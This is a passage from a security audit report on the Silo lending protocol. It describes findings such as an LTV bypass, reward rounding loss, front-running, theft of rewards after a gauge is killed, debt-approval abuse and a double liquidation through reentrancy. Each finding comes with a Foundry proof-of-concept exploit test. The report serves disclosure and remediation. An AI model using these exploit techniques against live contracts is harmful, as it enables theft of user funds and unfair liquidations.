        emit log_named_address("hookReceiver", address(config.hookReceiver));
        emit log_named_string("callBeforeQuote", config.callBeforeQuote ? "true" : "false");
    }
}
```

Recommendation:

- Either prevent arbitrary users from calling the `LiquidationHelper` contract or make sure that only real Silo contracts can be called.
- Allow the owner of a `LiquidationHelper` contract to withdraw funds from it.

3.2.3 Borrowers can bypass the LTV threshold and open loans up to the LT

Submitted by phil, also found by Cosine

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The protocol has 2 risk factors that must be set by Silo deployers:

- Loan to value (LTV), which defines the maximum value a user can borrow compared to their deposited collateral.
- Liquidation threshold (LT), which defines the threshold of LTV that allows a user to be liquidated.

When opening a loan, the protocol allows the user to borrow up to LTV % of the user's collateral.

However, withdrawing/ redeeming collateral allows users to bypass the LTV limit, pushing their loans up to the LT.

Description: The `Silo::borrow()` // `Actions::borrow()` only allows users to open a loan up to the maximum LTV allowed by the `Silo`:

```
function borrow(ISilo.BorrowArgs memory _args)
    // ...
    _checkLTVWithoutAccruingInterest(collateralConfig, debtConfig, _args.borrower); // <<<
```

`Actions::_checkLTVWithoutAccruingInterest()` reverts if the user's LTV is above the maximum allowed LTV.

This is a critical check to maintain healthy loans, protecting:

- The protocol from bad debt.
- The borrower from instant liquidation.

However, `Silo::withdraw()` and `Silo::redeem()` // `Actions::withdraw()` allows users to bypass the maximum LTV and push their loans up to LT:

```
function withdraw(ISilo.WithdrawArgs calldata _args)
    // ...
    _checkSolvencyWithoutAccruingInterest(collateralConfig, debtConfig, _args.owner); // <<<
```

`Actions::_checkSolvencyWithoutAccruingInterest()` reverts if the user's LTV is above the LT (instead of the maximum LTV).

This allows users to open positions right at the liquidation threshold, which makes manipulation attacks much easier, leaving bad debt in the protocol.

Recommendations: Change the solvency check for a LTV check on `Actions::withdraw()`:

```
  function withdraw(ISilo.WithdrawArgs calldata _args)
      // ...
+     _checkLTVWithoutAccruingInterest(collateralConfig, debtConfig, _args.owner);
-     _checkSolvencyWithoutAccruingInterest(collateralConfig, debtConfig, _args.owner);
```

3.2.4 Share holders may fail to get the expected incentive rewards

Submitted by 0x37, also found by 0xStalin and JCN

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: When we calculate incentive index, we use the `TEN_POW_PRECISION` precision. This precision may not be large enough, this will lead to the incentive rewards will be round down to zero.

Finding Description: When owners can add some incentive rewards to encourage users to deposit underlying tokens into the owner's silo. Whenever the share balance changes, we will calculate the incentive rewards to the index. Currently, the index equals `emissionPerSecond * timeDelta * TEN_POW_PRECISION / totalBalance`.

In this calculation, `TEN_POW_PRECISION = 1e18`, `totalBalance` is total collateral/protected/debt share amount. The share amount will be related with the underlying token's decimals. If our reward token's decimal is low, and silo underlying token's decimal is high, it's possible that the delta index's calculation will be round down to 0.

Let's check the below scenario:

1. Reward token is USDC/USDT (decimal is 6). Assume the reward speed is 27777 (100 U per day).
2. Silo's underlying token is DAI (decimal is 18). Assume the total collateral deposit is 300 DAI. So the total collateral share amt is `300 * 1e18 * 1e3`. Note: here `1e3` comes from `_DECIMALS_OFFSET_POW`.
3. In this case, if we trigger accruing the rewards after 100 seconds, the index calculation will be round down to 0. The depositors will lose their expected rewards.

```
function _getIncentivesProgramIndex(
    uint256 currentIndex,
    uint256 emissionPerSecond,
    uint256 lastUpdateTimestamp,
    uint256 distributionEnd,
    uint256 totalBalance
) internal view virtual returns (uint256 newIndex) {
    uint256 currentTimestamp = block.timestamp > distributionEnd ? distributionEnd : block.timestamp;
    uint256 timeDelta = currentTimestamp - lastUpdateTimestamp;
    newIndex = emissionPerSecond * timeDelta * TEN_POW_PRECISION;
    unchecked { newIndex /= totalBalance; }
    newIndex += currentIndex;
}
```

A more detailed explanation of the issue. Poorly written or incorrect findings may result in rejection and a decrease of reputation score. Describe which security guarantees it breaks and how it breaks them. If this bug does not automatically happen, showcase how a malicious input would propagate through the system to the part of the code where the issue occurs.

Impact Explanation: Malicious users can trigger this claimRewards() to accrue the rewards to let the index round down to zero. All users will lose their expected rewards.

Likelihood Explanation: The round down case will depend on the silo's underlying token and incentive rewards token. If the incentive rewards token is high decimal and silo's underlying token is low decimal, it's quite possible to trigger this.

Proof of Concept: Add this test case into the `SiloIncentivesController.t.sol`:

```
function test_Poc_rewards() public {
    ERC20Mock(_rewardToken).mint(address(_controller), 100e18);
    // emission per sec is 1e18.
    // 100 USDT per day. 100 * 1e6 / 3600 = 27777
    uint104 initialEmissionPerSecond = 27777;

    vm.prank(_owner);
    _controller.createIncentivesProgram(DistributionTypes.IncentivesProgramCreationInput({
        name: _PROGRAM_NAME,
        rewardToken: _rewardToken,
        distributionEnd: 0,
        emissionPerSecond: initialEmissionPerSecond
    }));

    uint256 clockStart = block.timestamp;

    // user1 deposit 300 DAI for collateral share, and we will get 300 * 1e21 collateral shares.
    uint256 user1Deposit1 = 3000e21;
    ERC20Mock(_notifier).mint(user1, user1Deposit1);
    uint256 totalSupply = ERC20Mock(_notifier).totalSupply();

    vm.prank(_notifier);
    _controller.afterTokenTransfer({
        _sender: address(0),
        _senderBalance: 0,
        _recipient: user1,
        _recipientBalance: user1Deposit1,
        _totalSupply: totalSupply,
        _amount: user1Deposit1
    });

    uint40 newDistributionEnd = uint40(clockStart + 30 days);

    vm.prank(_owner);
    _controller.setDistributionEnd(_PROGRAM_NAME, newDistributionEnd);
    vm.warp(block.timestamp + 100);
    vm.startPrank(user1);
    _controller.claimRewards(user1);
    vm.warp(block.timestamp + 100);
    _controller.claimRewards(user1);
    vm.warp(block.timestamp + 100);
    _controller.claimRewards(user1);
    console.log("User 1 reward token: ", ERC20Mock(_rewardToken).balanceOf(user1));
}
```

Recommendation: Use one higher percision in the calculation of `index`.

3.2.5 Accrued rewards will be lost in DistributionManager if index delta rounds down to 0

Submitted by ruhum, also found by 0xgh0st

Severity: Medium Risk

Context: DistributionManager.sol#L143-L150, DistributionManager.sol#L293-L315

Summary: If the index delta (new index - old index) rounds down to 0, the incentive program's timestamp will still be updated, causing the accrued rewards to be lost.

Finding Description: In DistributionManager.sol, the incentive program's `lastUpdateTimestamp` is updated even if `newIndex == oldIndex`. In a scenario, where the lowest amount of accrued rewards (`12 * rewardsPerSecond / totalSupply < 1` for mainnet) rounds down to 0, those rewards will not be distributed.

Impact Explanation: This issue breaks the fair distribution of rewards. A user with deposited assets will not receive the promised rewards. But, the reward token isn't lost. The admin can reconfigure the incentive program to distribute those tokens again. In that case, each user's return will be different because of different deposit conditions.

Likelihood Explanation: Reward calculations are dynamic. At timestamp `t` there might not be an issue. But, with a large deposit, the total supply might increase causing the issue to come up. In that case, the issue persists until the admin updates the incentive program's configuration. That will likely take at least a day if not more to be noticed and fixed.

Proof of Concept: Here's a test case showing the rewards rounding down continuously with the right conditions:

```
// SiloIncentivesController.t.sol
function test_incentives_round_down_to_zero() public {
    /*
        we create a distribution such that, 12 seconds between each update isn't
        enough for the index delta to be >= 1 causing the index increase to round down.
        That will cause the rewards to not be distributed.

        10,000,000 total supply
        1e5 emissions per second

        With 12 seconds, the reward index increase will be:
        1e5* 1e18 * 12 / 10,000,000e18 = 0.12
    */
    ERC20Mock(_notifier).mint(address(this), 10_000_000e18);

    uint104 emissionPerSecond = 1e5;
    uint256 distributionEnd = block.timestamp + 1200;

    IDistributionManager.IncentiveProgramDetails memory detailsBefore =
        _controller.incentivesProgram(_PROGRAM_NAME);

    vm.expectEmit(true, true, true, true);
    emit IncentivesProgramCreated(_PROGRAM_NAME);

    vm.prank(_owner);
    _controller.createIncentivesProgram(
        DistributionTypes.IncentivesProgramCreationInput({
            name: _PROGRAM_NAME,
            rewardToken: _rewardToken,
            distributionEnd: uint40(distributionEnd),
            emissionPerSecond: emissionPerSecond
        })
    );

    IDistributionManager.IncentiveProgramDetails memory details = _controller.incentivesProgram(_PROGRAM_NAME);

    uint256 lastUpdateTimestamp =
        detailsBefore.lastUpdateTimestamp == 0 ? block.timestamp : detailsBefore.lastUpdateTimestamp;

    assertEq(details.index, 0, "index should be 0 in the beginning");

    uint256 oldIndex = details.index;
    /*
        distribution lasts for 1200 seconds. We will update the index every 12 seconds
        with the index always rounding down to 0 causing the rewards to not be rewarded
        properly.
    */

    for (uint256 i; i < 100; i++) {
        vm.warp(block.timestamp + 12);
        _controller.claimRewards(address(this));
    }

    assertEq(details.index, 0, "index rounded down to 0");
}
```

Recommendation: Don't update `lastUpdateTimestamp` if `oldIndex == newIndex`. The next time rewards are accrued, a larger time delta will be used.

3.2.6 Malicious users can drain immediate rewards via frontrun

Submitted by 0x37, also found by pepoc3 and Max1

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Malicious users can frontrun immediateDistribution() function to get most of the immediate rewards.

Finding Description: In SiloIncentivesController, the owner can send one immediate distribution to one share holders. I have confirmed with the sponsor via the ping system. This is the answer from the sponsor about the deployed chains:

> While we do not have final list of blockchain it's safe to assume ARB, SONIC, OP, Base, ETH and other major EVM compatible networks.

Considering that the possible frontrun in Eth, malicious users can frontrun to deposit large amount of tokens into the silo before the owner sends one immediate distribution. Then the malicious users may gain the most of this immediate rewards.

```
function immediateDistribution(address _tokenToDistribute, uint104 _amount) external virtual
↪   onlyNotifierOrOwner {
    // ...
    uint40 distributionEndBefore = program.distributionEnd;
    uint104 emissionPerSecondBefore = program.emissionPerSecond;

    // Distributing `_amount` of rewards in one second allows the rewards to be added to users' balances
    // even to the active incentives program.
    program.distributionEnd = uint40(block.timestamp);
    program.lastUpdateTimestamp = uint40(block.timestamp - 1);
    program.emissionPerSecond = _amount;

    _updateAssetStateInternal(programId, totalStaked);

    // If we have ongoing distribution, we need to revert the changes and keep the state as it was.
    program.distributionEnd = distributionEndBefore;
    program.lastUpdateTimestamp = uint40(block.timestamp);
    program.emissionPerSecond = emissionPerSecondBefore;
}
```

Impact Explanation: Normal users may lose their expected reward token.

Likelihood Explanation: Likelihood is high. Because malicious users can always frontrun and gain the profit if the owner wants to send one immediate rewards.

Proof of Concept: Add this test case into the `SiloIncentivesController.i.sol`:

```
function test_steal_immediate_rewards() public {
    uint256 emissionPerSecond = 1e6;
    _controller.createIncentivesProgram(DistributionTypes.IncentivesProgramCreationInput({
        name: _PROGRAM_NAME,
        rewardToken: address(_rewardToken),
        distributionEnd: uint40(block.timestamp + 1000),
        emissionPerSecond: uint104(emissionPerSecond)
    }));
    console.log("user1 reward balance: ",  _controller.getRewardsBalance(user1, _PROGRAM_NAME));
    bytes memory data = abi.encodeWithSelector(
        SiloIncentivesController.afterTokenTransfer.selector,
        address(0),
        0,
        user1,
        100e18 * SiloMathLib._DECIMALS_OFFSET_POW, // balance
        100e18 * SiloMathLib._DECIMALS_OFFSET_POW, // total
        100e18 * SiloMathLib._DECIMALS_OFFSET_POW // amount
    );

    vm.expectCall(address(_controller), data);

    silo0.deposit(100e18, user1);
    vm.warp(block.timestamp + 50);
    console.log("user1 reward balance after 50 s: ",  _controller.getRewardsBalance(user1, _PROGRAM_NAME));
    uint256 immediateDistribution = 7e7;

    silo0.deposit(2000e18, user2);
    vm.startPrank(address(hook));
    _controller.immediateDistribution(address(_rewardToken), uint104(immediateDistribution));
    vm.stopPrank();

    vm.startPrank(user2);
    silo0.withdraw(2000e18, user2, user2);
    vm.stopPrank();

    vm.prank(user2);
    _controller.claimRewards(user2);
    console.log("user2 reward token: ", _rewardToken.balanceOf(user2));
    console.log("user2 balance", token0.balanceOf(user2));

    vm.prank(user1);
    _controller.claimRewards(user1);
    console.log("user1 reward balance after immediate distribution: ", _rewardToken.balanceOf(user1));
}
```

Recommendation: In order to mitigate this case, consider to charge some withdraw fees or lock a period of time.

3.2.7 Reward token in the killed gauge may be stolen

Submitted by 0x37, also found by AngryMustacheMan

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: If one gauge is killed, malicious users can manipulate the balance to steal the rewards.

Finding Description: In Silo gauge, the owner can create some programs to incentive the depositors and borrowers. When we calculate one user's expected rewards, we will calculate the rewards according to the diff of index and current share amount. It works well if the gauge is not killed. Because the silo gauge will be noticed once one user's balance is changed. We will accrue the reward for each time slot for this user.

The problem is that if the gauge is killed for some reason, we will not trigger the hook receiver's callback again. It means that the gauge will have no idea about the balance's change. Malicious users can deposit to gain some shares after the gauge is killed. And malicious users can claim rewards from the gauge directly.

```
function _accrueRewardsForPrograms(address _user, bytes32[] memory _programIds)
    internal
    virtual
    returns (AccruedRewards[] memory accruedRewards)
{
    uint256 length = _programIds.length;
    accruedRewards = new AccruedRewards[](length);
    // user supply, total supply.
    (uint256 userStaked, uint256 totalStaked) = _getScaledUserBalanceAndSupply(_user);
    // we need to check whether we can support the repeated program Ids.
    for (uint256 i = 0; i < length; i++) {
        accruedRewards[i] = _accrueRewards(_user, _programIds[i], totalStaked, userStaked);
    }
}
```

```
function afterAction(address _silo, uint256 _action, bytes calldata _inputAndOutput)
    external
    virtual
    override(IHookReceiver, PartialLiquidation)
{
    IGauge theGauge = configuredGauges[IShareToken(msg.sender)];

    require(theGauge != IGauge(address(0)), GaugeIsNotConfigured());
    if (theGauge.is_killed()) return; // Do not revert if gauge is killed. Ignore the action.
    if (!_getHooksAfter(_silo).matchAction(_action)) return; // Should not happen, but just in case

    Hook.AfterTokenTransfer memory input = _inputAndOutput.afterTokenTransferDecode();

    theGauge.afterTokenTransfer(
        input.sender,
        input.senderBalance,
        input.recipient,
        input.recipientBalance,
        input.totalSupply,
        input.amount
    );
}
```

Impact Explanation: Normal users' incentive rewards will be stolen.

Likelihood Explanation: If the gauge is killed, then the malicious users can manipulate the balance to steal the rewards.

Proof of Concept: In this case, `user2` is the malicious user. `user2` deposits to mint some shares after the gauge is killed. We can find out that the actual active incentive program has reached the `distributionEnd`. But the users can still claim rewards.

```
function test_Poc_kill() public {
    uint256 emissionPerSecond = 1e6;
    _controller.createIncentivesProgram(DistributionTypes.IncentivesProgramCreationInput({
        name: _PROGRAM_NAME,
        rewardToken: address(_rewardToken),
        distributionEnd: uint40(block.timestamp + 100),
        emissionPerSecond: uint104(emissionPerSecond)
    }));
    console.log("user1 reward balance: ",  _controller.getRewardsBalance(user1, _PROGRAM_NAME));
    bytes memory data = abi.encodeWithSelector(
        SiloIncentivesController.afterTokenTransfer.selector,
        address(0),
        0,
        user1,
        100e18 * SiloMathLib._DECIMALS_OFFSET_POW, // balance
        100e18 * SiloMathLib._DECIMALS_OFFSET_POW, // total
        100e18 * SiloMathLib._DECIMALS_OFFSET_POW // amount
    );

    vm.expectCall(address(_controller), data);

    silo0.deposit(100e18, user1);
    vm.warp(block.timestamp + 200);
    // Kill Gauge
    silo0.deposit(1, user3);
    hook.hookMockKillGauge();
    // User2 is the malicious user. User2 deposit after the gauge is killed. Now the hook callback will not be
    ↪   triggered.
    silo0.deposit(100e18, user2);
    //
    vm.startPrank(user2);
    _controller.claimRewards(user2);
    console.log("user2 reward balance after 100s: ", _rewardToken.balanceOf(user2));
    silo0.withdraw(100e18, user2, user2);
    vm.stopPrank();

    vm.prank(user1);
    _controller.claimRewards(user1);
    console.log("user1 reward balance after 100s: ", _rewardToken.balanceOf(user1));
}
```

Recommendation: Suggest using the snapshot to record the balance. Then users cannot manipulate the balance to steal the rewards.

3.2.8 Approving another address to use your debt share tokens allows them to borrow funds in your name

Submitted by ruhum, also found by BenRai

Severity: Medium Risk

Context: ShareDebtToken.sol#L39, ShareDebtToken.sol#L117-L119

Summary: If Alice approves Bob to spend her debt share tokens, Bob is able to borrow new funds such that Alice receives the additional debt and Bob the underlying asset.

Finding Description: In `ShareDebtToken.mint()` it allows `spender` to mint new shares for `owner` if `owner` has approved `spender` with the standard ERC20 approve function.

The standard ERC20 approve function is conventionally used only to transfer existing tokens the owner holds. The protocol implements additional approval logic to handle the transfer of debt tokens to another user `receiveAllowance`. This is used to prevent Alice from sending Bob debt share tokens without explicit consent from Bob. Otherwise, you would be able to freely increase the debt burden of another user.

But, when a user borrows funds, they can mint the debt tokens to another user as long as the other user has approved them with the standard ERC20 approve function. With the current design, Alice should have to use the `receiveAllowance` logic to approve Bob to borrow new funds in her name. So the current implementation will lead to unexpected outcomes.

Impact Explanation: User will receive additional debt causing a loss funds.

Likelihood Explanation: This issue most likely will not arise through the official frontend unless the devs make a big mistake. But, it could become an issue if malicious actors scam users. Approving some address to spend your debt share tokens isn't a suspicious tx since you'd expect them to only be able to transfer debt share tokens out of your wallet which is beneficial to you.

Proof of Concept: Here's a test showing that Bob can borrow funds in Alice's name if Alice's approves Bob to spend her debt share tokens through the standard ERC20 approve function:

```diff
diff --git a/silo-core/test/foundry/Silo/SiloPocTest.t.sol b/silo-core/test/foundry/Silo/SiloPocTest.t.sol
index dc028adf..e32eada9 100644
--- a/silo-core/test/foundry/Silo/SiloPocTest.t.sol
+++ b/silo-core/test/foundry/Silo/SiloPocTest.t.sol
@@ -8,6 +8,9 @@ import {SiloFixtureWithVeSilo as SiloFixture} from "silo-core/test/foundry/_comm
 import {SiloConfigOverride} from "silo-core/test/foundry/_common/fixtures/SiloFixture.sol";
 import {SiloConfigsNames} from "silo-core/deploy/silo/SiloDeployments.sol";
 import {ISiloConfig} from "silo-core/contracts/interfaces/ISiloConfig.sol";
+import {ISilo} from "silo-core/contracts/interfaces/ISilo.sol";
+
+import {IERC20} from "openzeppelin5/token/ERC20/IERC20.sol";

 /// @dev Test with a ready for testing silo market setup.
 /// For more examples on how to interact with the silo market, see the silo-core/test/foundry/Silo folder
@@ -54,6 +57,46 @@ contract SiloPocTest is Test {
         _printSiloConfig(silo1);
     }

+    function test_user_with_allowance_can_create_new_debt() public {
```

```
+        uint256 depositAmount = 1e18;
+        uint256 borrowAmount = 1e14;
+        address alice = makeAddr("Alice");
+        address bob = makeAddr("Bob");
+
+        (, address silo1) = _siloConfig.getSilos();
+        ISiloConfig.ConfigData memory config = _siloConfig.getConfig(silo1);
+
+        uint256 aliceDebtShares;
+
+        /*
+            alice deposits collateral and borrows some funds
+        */
+        IERC20 token = IERC20(config.token);
+        deal(address(token), alice, depositAmount);
+        vm.startPrank(alice);
+        token.approve(silo1, depositAmount);
+        ISilo(silo1).deposit(depositAmount, alice, ISilo.CollateralType.Collateral);
+        aliceDebtShares += ISilo(silo1).borrowSameAsset(borrowAmount, alice, alice);
+        vm.stopPrank();
+
+        /*
+            alice approves bob to spend their debt share tokens
+        */
+        IERC20 debtShareToken = IERC20(config.debtShareToken);
+        vm.prank(alice);
+        debtShareToken.approve(bob, borrowAmount);
+
+        /*
+            bob can now borrow new assets for themselves while giving the debt share
+            tokens to alice.
+        */
+        vm.prank(bob);
+        aliceDebtShares += ISilo(silo1).borrowSameAsset(borrowAmount, bob, alice);
+
+        assertEq(aliceDebtShares, 2e14, "borrower debt shares");
+        assertEq(token.balanceOf(bob), 1e14, "user borrowed tokens");
+    }
+
     function _printSiloConfig(address _silo) internal {
         ISiloConfig.ConfigData memory config = _siloConfig.getConfig(_silo);
```

Recommendation: In `ShareDebtToken.mint()` spend the `receiveAllowance` instead of the standard `allowance`.

3.2.9 Reentrancy in `PartialLiquidation` and Repay Allows Unfair Liquidation and Arbitrary Mid-Liquidation Calls

Submitted by ZC002

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The partial liquidation process disables reentrancy protection prematurely—right before calling repay(...). Because the repay flow invokes hooks (e.g., beforeAction/afterAction), attackers can re-enter mid-liquidation. This breaks core assumptions about collateral and debt balances, enabling exploit strategies such as double liquidation, repeated fees, and manipulated user balances.

Finding Description: In `PartialLiquidation.sol`, the function `liquidationCall(...)` calls `siloConfigCached.turnOffReentrancyProtection()` before it finishes and, in particular, before calling `ISilo(...).repay(...)`.

This mechanism is done to ensure that repay's `turnOnReentrancyProtection` call would succeed.

However, `repay(...)` triggers hook logic (`beforeAction/afterAction`) in the Silo contract. The `beforeAction` hook is triggered before the actual repay mechanism is done. Because the reentrancy guard is already turned off, these hooks can call back into Silo or the partial liquidation contract itself.

Even a non malicious hook receiver can therefore allow an attacker to execute arbitrary Silo operations—such as additional calls to `liquidationCall(...)`, new deposits/borrows, flash loans, collateral transitions, or updates to user balances—while the partial liquidation is still "in progress." This re-entrancy breaks the protocol's guarantee that partial liquidation calculations remain consistent from start to finish.

The developer may have made a non malicious hook that for example in the `beforeAction` could make any legitimate call like:

- Minting a NFT to the msg.sender for any operation such as liquidation allowing reentrancy.
- Interacting and transferring a unrelated ERC777 token allowing reentrancy.
- The hook assessing any third party contract to verify any condition.

Many exploits can take place in this regard that would involve operations such as transitioning collateral, borrowing and other such operations mid liquidation. But one of the strongest examples of exploits is:

Double Liquidation – The attacker repeats the liquidation on the same user position in a single transaction, seizing extra collateral or earning duplicate liquidation fees. Since the repay has not yet been completed. The collateral in the 2nd call is further reduced but the Debt is still the same leading to even more lower LTV allowing the victim to be both double liquidated and unfairly liquidated.

Affected code is below:

- `PartialLiquidation.sol`:

```
function liquidationCall( // solhint-disable-line function-max-lines, code-complexity
    address _collateralAsset,
    address _debtAsset,
    address _borrower,
    uint256 _maxDebtToCover,
    bool _receiveSToken
)
    external
    virtual
    returns (uint256 withdrawCollateral, uint256 repayDebtAssets)
{
   // ...............................................................

   // ...............................................................
   //Here the contract uses the privileged function to remove collateral from the victim without any
   ↪  checks.

    params.collateralShares = _callShareTokenForwardTransferNoChecks(
        collateralConfig.silo,
        _borrower,
        shareTokenReceiver,
        params.withdrawAssetsFromCollateral,
        collateralConfig.collateralShareToken,
        ISilo.AssetType.Collateral
    );

    params.protectedShares = _callShareTokenForwardTransferNoChecks(
        collateralConfig.silo,
        _borrower,
        shareTokenReceiver,
        params.withdrawAssetsFromProtected,
        collateralConfig.protectedShareToken,
        ISilo.AssetType.Protected
    );

    //Reentrancy protection is turned off and repay is called
    siloConfigCached.turnOffReentrancyProtection();

    ISilo(debtConfig.silo).repay(repayDebtAssets, _borrower);
    // ...............................................................
}
```

The call to repay happens like this:

- `Silo.sol`:

```
function repay(uint256 _assets, address _borrower)
    external
    virtual
    returns (uint256 shares)
{
    uint256 assets;

    (assets, shares) = Actions.repay({
        _assets: _assets,
        _shares: 0,
        _borrower: _borrower,
        _repayer: msg.sender
    });

    emit Repay(msg.sender, _borrower, assets, shares);
}
```

```
function repay(

    uint256 _assets,
    uint256 _shares,
    address _borrower,
    address _repayer
)
    external
    returns (uint256 assets, uint256 shares)
{
    IShareToken.ShareTokenStorage storage _shareStorage = ShareTokenLib.getShareTokenStorage();

    // We can see that the hook is called before reentrancy protection is enabled. Allowing reentrancy
    ↪  here.
    if (_shareStorage.hookSetup.hooksBefore.matchAction(Hook.REPAY)) {
        bytes memory data = abi.encodePacked(_assets, _shares, _borrower, _repayer);
        IHookReceiver(_shareStorage.hookSetup.hookReceiver).beforeAction(address(this), Hook.REPAY,
        ↪  data);
    }

    ISiloConfig siloConfig = _shareStorage.siloConfig;

    siloConfig.turnOnReentrancyProtection();
    // .......................................................
}
```

Important Note: This finding is not dependent on a malicious hook or insecure user code. Instead, it arises from the protocol's own flawed partial liquidation logic disabling reentrancy protection too soon. Even a secure, well-intentioned hook can inadvertently trigger reentrancy within the vulnerable code path, because the protocol calls `turnOffReentrancyProtection()` prematurely. Therefore, the OOS text about "hook receivers can do anything" does not excuse the protocol's responsibility to guard against mid-liquidation state changes.

The OOS text refers to the god-like properties issued to the hook receivers in "Silo via `callOnBehalfOfSilo fn` and in share tokens via `callOnBehalfOfShareToken fn`". The vulnerability is due to not any of the privileged functionalities provided to the hook.

It states that "It is the responsibility of the hook receiver developer to ensure it is secure".

In this scenario the developer has made a fairly secure hook. The text merely addresses malicious hook code rather than a systemic reentrancy flaw in PartialLiquidation and Silo. Consequently, this is fundamentally a core protocol bug, not an external hook vulnerability.

Impact Explanation: This vulnerability is High/Critical because an attacker can exploit it to obtain extra collateral, repeatedly liquidate the same debt, or forcibly manipulate user balances—resulting in potential large-scale asset theft or protocol insolvency. Once the mid-liquidation state is corrupted, the protocol's core guarantee of correct collateral seizure and debt repayment is violated.

Likelihood Explanation: This attack involves the hook having a beforeAction method that would allow reentrancy. As the hooks are flexible and it is in the discretion of the silo deployer to code any logic within the hooks. Even if the developer makes a apparently very secure hook that performs just any one simple operation such as minting a NFT to a user at the start of the operation or transferring a unrelated ERC777 token, this vulnerability would occur. Thus I believe this scenario is very likely to happen and I believe that the likelihood of this finding should at least be a medium.

Proof Of Concept: This proof of concept shows how reentrancy can cause a user to be double liquidated. Even if the first liquidation made them solvent. The hook mints a NFT to the liquidator. The proof of concept could be run with: FOUNDRY_PROFILE=core-test forge test -vv --ffi --mt test_liquidationCallReentrancy.

Add this in `silo-core\test\foundry\utils\hook-receivers\liquidation\LiquidationReentrancyExploit.i.sol`:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";

import {IERC20} from "openzeppelin5/token/ERC20/IERC20.sol";

import {ISiloConfig} from "silo-core/contracts/interfaces/ISiloConfig.sol";
import {ISilo} from "silo-core/contracts/interfaces/ISilo.sol";
import {IPartialLiquidation} from "silo-core/contracts/interfaces/IPartialLiquidation.sol";
import {IShareToken} from "silo-core/contracts/interfaces/IShareToken.sol";
import {IInterestRateModel} from "silo-core/contracts/interfaces/IInterestRateModel.sol";
import {SiloLensLib} from "silo-core/contracts/lib/SiloLensLib.sol";
import {SiloMathLib} from "silo-core/contracts/lib/SiloMathLib.sol";

import {SiloLittleHelper} from "../../../_common/SiloLittleHelper.sol";

interface IHook {
 function setHooksConfig(address silo) external;
}

/*
    forge test -vv --ffi --mc LiquidationReentrancyTest
*/
contract LiquidationReentrancyTest is SiloLittleHelper, Test {
    using SiloLensLib for ISilo;

    address constant BORROWER = address(0x123);
    uint256 constant COLLATERAL = 10e18;
    uint256 constant COLLATERAL_SHARES = COLLATERAL * SiloMathLib._DECIMALS_OFFSET_POW;
    uint256 constant DEBT = 7.5e18;
    bool constant SAME_TOKEN = true;
    bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
    uint256 count=0;
    uint256 maxDebtToCover = 5e18;

    ISiloConfig siloConfig;

    error SenderNotSolventAfterTransfer();

    event WithdrawnFeed(uint256 daoFees, uint256 deployerFees);

    function setUp() public {
        siloConfig = _setUpLocalFixture("Local_gauge_hook_receiver"); //Using this gauge.

        vm.prank(BORROWER);
        token0.mint(BORROWER, COLLATERAL);

        vm.prank(BORROWER);
        token0.approve(address(silo0), COLLATERAL);

        vm.prank(BORROWER);
        silo0.deposit(COLLATERAL, BORROWER);

        vm.prank(BORROWER);
        silo0.borrowSameAsset(DEBT, BORROWER, BORROWER);

        assertEq(token0.balanceOf(address(this)), 0, "liquidation should have no collateral");
        assertEq(token0.balanceOf(address(silo0)), COLLATERAL - DEBT, "silo0 has only 2.5 debt token (10 -
        ↪  7.5)");

        ISiloConfig.ConfigData memory silo0Config = siloConfig.getConfig(address(silo0));

        assertEq(silo0Config.liquidationFee, 0.05e18, "liquidationFee1");
    }
    /*
    forge test -vv --ffi --mt test_liquidationCallReentrancy
    */
    function test_liquidationCallReentrancy() public {
        IShareToken shareToken=IShareToken(address(silo0));
        address hookR = shareToken.hookReceiver();
        IHook(hookR).setHooksConfig(address(silo0));


        //Using existing test case to make the POCing easier
        ISiloConfig.ConfigData memory debtConfig = siloConfig.getConfig(address(silo0));

        (, uint64 interestRateTimestamp0,,,) = silo0.getSiloStorage();
        (, uint64 interestRateTimestamp1,,,) = silo1.getSiloStorage();
        assertEq(interestRateTimestamp0, 1, "interestRateTimestamp0 is 1 because we deposited and borrow same
        ↪  asset");
        assertEq(block.timestamp, 1, "block.timestamp");

        assertEq(
            interestRateTimestamp1,
            0,
            "interestRateTimestamp1 is 0 because because on borrow same asset we accrue interest only for one
            ↪  silo"
        );

        (
            uint256 collateralToLiquidate, uint256 debtToRepay, bool sTokenRequired
        ) = partialLiquidation.maxLiquidation(BORROWER);

        assertTrue(!sTokenRequired, "sTokenRequired not required when solvent");
        assertEq(collateralToLiquidate, 0, "no collateralToLiquidate yet");
        assertEq(debtToRepay, 0, "no debtToRepay yet");

        emit log_named_decimal_uint("[test] LTV", silo0.getLtv(BORROWER), 16);

        // move forward with time so we can have interests
        uint256 timeForward = 50 days;
        vm.warp(block.timestamp + timeForward);

        (collateralToLiquidate, debtToRepay, sTokenRequired) = partialLiquidation.maxLiquidation(BORROWER);
        assertTrue(sTokenRequired, "sTokenRequired required, because we have collateral only from borrower");
        assertGt(collateralToLiquidate, 0, "expect collateralToLiquidate");

        emit log_named_decimal_uint("[test] max debtToRepay", debtToRepay, 18);
        emit log_named_decimal_uint("[test] maxDebtToCover", maxDebtToCover, 18);
        emit log_named_decimal_uint("[test] LTV after interest", silo0.getLtv(BORROWER), 16);


        token0.mint(address(this), maxDebtToCover*2);
        token0.approve(address(partialLiquidation), maxDebtToCover*2);

        (
            uint256 withdrawAssetsFromCollateral, uint256 repayDebtAssets
        ) = partialLiquidation.liquidationCall(
            address(token0), address(token0), BORROWER, maxDebtToCover, false /* receiveSToken */
        );

        emit log_named_decimal_uint("[test] withdrawAssetsFromCollateral", withdrawAssetsFromCollateral, 18);
        emit log_named_decimal_uint("[test] repayDebtAssets", repayDebtAssets, 18);
        emit log_named_decimal_uint("[test] LTV after double liquidation", silo0.getLtv(BORROWER), 16);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {

        if (count==0){
        // The user is supposed to solvent here but we double liquidate them. Moving this call outside the
        ↪  reentrancy causes it to fail with UserIsSolvent() error.
        count++;
        partialLiquidation.liquidationCall(
                address(token0), address(token0), BORROWER, maxDebtToCover, false /* receiveSToken */
            );

        }
        return _ERC721_RECEIVED;
    }
```

```
}
```

Add this to this path: `silo-core\contracts\utils\hook-receivers\gauge\MyNFT.sol`:

```
